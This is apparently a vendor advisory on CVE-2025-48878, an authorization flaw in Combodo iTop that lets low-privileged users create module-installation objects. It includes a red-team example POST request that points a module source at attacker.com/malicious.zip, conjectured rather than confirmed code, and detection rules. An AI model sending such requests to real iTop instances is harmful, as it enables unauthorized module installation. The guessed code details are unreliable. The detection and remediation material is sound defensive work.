CVE-2025-48878
Executive Summary
CVE-2025-48878 is an Insecure Direct Object Reference (IDOR) vulnerability in Combodo iTop, a web-based IT Service Management (ITSM) tool. The flaw allows an authenticated user with a low-privileged role (e.g., Service Desk Agent) to create a ModuleInstallation object, an action that should be restricted to administrators. This can lead to unauthorized installation or modification of modules, potentially compromising the integrity of the iTop instance. The vulnerability affects all versions in the 3.x branch prior to 3.2.2. The CVSS score is 4.3 (Medium), and the EPSS probability is 0.0%, indicating low exploitation activity in the wild. No public proof-of-concept (PoC) or exploit code is available at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct web application flaw in the iTop ITSM platform. The risk is primarily to organizations using iTop for IT service management, where an attacker with low privileges could escalate their control over the application.
CVSS Breakdown & Threat Level
- CVSS Score: 4.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
- Attack Vector (AV): Network – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): Low – An attacker needs a valid low-privileged account (e.g., Service Desk Agent).
- User Interaction (UI): None – No user interaction is required.
- Scope (S): Unchanged – The exploit does not affect other components.
- Confidentiality (C): None – No data exposure.
- Integrity (I): Low – Unauthorized creation of
ModuleInstallationobjects can lead to module tampering. - Availability (A): None – No denial of service.
Threat Level: Medium. The vulnerability requires authentication but allows a low-privileged user to perform an administrative action. While no public exploits exist, the potential for privilege escalation and module manipulation makes it a significant risk for iTop deployments.
Deep Dive & Mechanics
The vulnerability lies in the authorization checks for creating ModuleInstallation objects. In iTop, the ModuleInstallation class is used to manage the installation and upgrade of modules. The application uses an Insecure Direct Object Reference (IDOR) pattern, where the server fails to verify that the authenticated user has the necessary permissions (e.g., admin role) before allowing the creation of such objects.
Root Cause: The code likely uses a generic object creation endpoint that does not enforce role-based access control (RBAC) for the ModuleInstallation class. An attacker can craft a POST request to create a new ModuleInstallation object, bypassing the intended admin-only restriction.
Attack Flow:
- An attacker authenticates as a low-privileged user (e.g., Service Desk Agent).
- The attacker identifies the API endpoint or web form used to create
ModuleInstallationobjects (e.g.,/pages/exec.php?exec_module=...&exec_page=...). - The attacker sends a crafted request with parameters to create a new
ModuleInstallationobject, potentially specifying a malicious module source. - The server processes the request without proper authorization, creating the object and potentially triggering module installation.
Impact: Successful exploitation could allow an attacker to install unauthorized modules, modify existing modules, or disrupt the iTop instance. This could lead to data corruption, backdoor installation, or complete compromise of the ITSM system.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-3.2.2):
The vulnerable code likely resides in the ModuleInstallation class or its associated controller. The authorization check is missing or insufficient.
// Vulnerable: No permission check
class ModuleInstallation extends DBObject {
public static function Create($aFields) {
// Directly creates the object without checking user rights
$oObject = new ModuleInstallation();
$oObject->SetValues($aFields);
$oObject->DBInsert();
return $oObject;
}
}
Patched Code (3.2.2):
The patched version adds a permission check before allowing the creation of ModuleInstallation objects.
// Patched: Permission check added
class ModuleInstallation extends DBObject {
public static function Create($aFields) {
// Check if the current user has admin rights
if (!UserRights::IsAdministrator()) {
throw new SecurityException('Only administrators can create ModuleInstallation objects.');
}
$oObject = new ModuleInstallation();
$oObject->SetValues($aFields);
$oObject->DBInsert();
return $oObject;
}
}
The patch ensures that only users with the Admin profile can create ModuleInstallation objects, closing the IDOR vulnerability.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Access to a vulnerable iTop instance (version 3.0.0 to 3.2.1).
- Valid credentials for a low-privileged user (e.g., Service Desk Agent).
Exploitation Steps:
- Identify the Endpoint: Use browser developer tools or a proxy (e.g., Burp Suite) to capture the request when an admin creates a
ModuleInstallationobject. The endpoint is typicallypages/exec.phpwith parameters likeexec_module=coreandexec_page=ajax. - Craft the Request: As a low-privileged user, send a POST request to the same endpoint with the necessary parameters to create a
ModuleInstallationobject. For example:POST /pages/exec.php HTTP/1.1 Host: target-itop.local Cookie: iTopSession=... Content-Type: application/x-www-form-urlencoded exec_module=core&exec_page=ajax&operation=create&class=ModuleInstallation&fields[name]=MaliciousModule&fields[version]=1.0&fields[source]=http://attacker.com/malicious.zip - Verify: Check if the object was created by querying the iTop database or using the UI (if accessible). The attacker may also trigger the installation of the malicious module.
Note: No public exploit code is available. The above is a conceptual example.
Blue Team (Detection & Defense)
Detection:
- Monitor logs for unauthorized creation of
ModuleInstallationobjects by non-admin users. - Look for unusual POST requests to
pages/exec.phpwithclass=ModuleInstallationfrom low-privileged accounts. - Use the detection rules provided in the Detection Engineering section.
Defense:
- Immediately upgrade to iTop 3.2.2 or later.
- Implement strict RBAC and audit all user permissions.
- Enable logging for all object creation events and review regularly.
- Use a Web Application Firewall (WAF) to block requests with suspicious parameters.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/pages/exec.phpwith parametersclass=ModuleInstallationandoperation=createfrom non-admin users. - Unusual outbound connections to external IPs or domains (if a malicious module is downloaded).
- POST requests to
Host IOCs:
- Unexpected
ModuleInstallationentries in the iTop database (tablepriv_module_installation). - New files in the iTop
modules/directory that are not part of the official installation. - Log entries in
iTop.logshowing creation ofModuleInstallationobjects by non-admin users.
- Unexpected
File IOCs:
- Suspicious module ZIP files in the iTop
data/ormodules/directories. - Modified core files (e.g.,
application/moduleinstallation.class.inc.php).
- Suspicious module ZIP files in the iTop
Detection Engineering
YARA Rule
rule CVE_2025_48878_iTop_IDOR {
meta:
description = "Detects attempts to exploit CVE-2025-48878 in Combodo iTop logs"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-48878"
strings:
$s1 = "ModuleInstallation" nocase
$s2 = "operation=create" nocase
$s3 = "exec_module" nocase
$s4 = "exec_page=ajax" nocase
condition:
all of ($s1, $s2, $s3, $s4)
}
Sigma Rule
title: CVE-2025-48878 - iTop ModuleInstallation IDOR Exploitation
id: 8a3b2c1d-4e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects unauthorized creation of ModuleInstallation objects in Combodo iTop logs
author: Valters IT
date: 2025-04-10
references:
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-48878
logsource:
category: application
product: itop
detection:
selection:
event: "ObjectCreated"
class: "ModuleInstallation"
user_role: "Service Desk Agent"
condition: selection
falsepositives:
- Legitimate admin actions (should be filtered by user role)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-48878 - iTop ModuleInstallation IDOR Exploitation";
flow:to_server,established;
content:"POST"; http_method;
content:"/pages/exec.php"; http_uri;
content:"class=ModuleInstallation"; http_client_body;
content:"operation=create"; http_client_body;
sid:1000001;
rev:1;
reference:cve,2025-48878;
classtype:attempted-admin;
priority:2;
)
Remediation & Mitigation
Immediate Remediation:
- Upgrade Combodo iTop to version 3.2.2 or later. This is the only official fix.
- If immediate upgrade is not possible, apply the following workaround:
- Modify the
ModuleInstallation::Create()method inapplication/moduleinstallation.class.inc.phpto add a permission check (as shown in the patched code section).
- Modify the
Mitigation Steps:
- Review and restrict user permissions. Ensure only administrators have the
Adminprofile. - Enable detailed logging for object creation events and monitor for anomalies.
- Implement network segmentation to limit access to the iTop web interface.
- Use a WAF to block requests with
class=ModuleInstallationfrom non-admin IPs.
Long-Term Measures:
- Conduct regular security audits of iTop configurations and user roles.
- Subscribe to Combodo security advisories for timely updates.
- Implement a vulnerability management program to prioritize patching.
Valters IT
Securing Digital Frontiers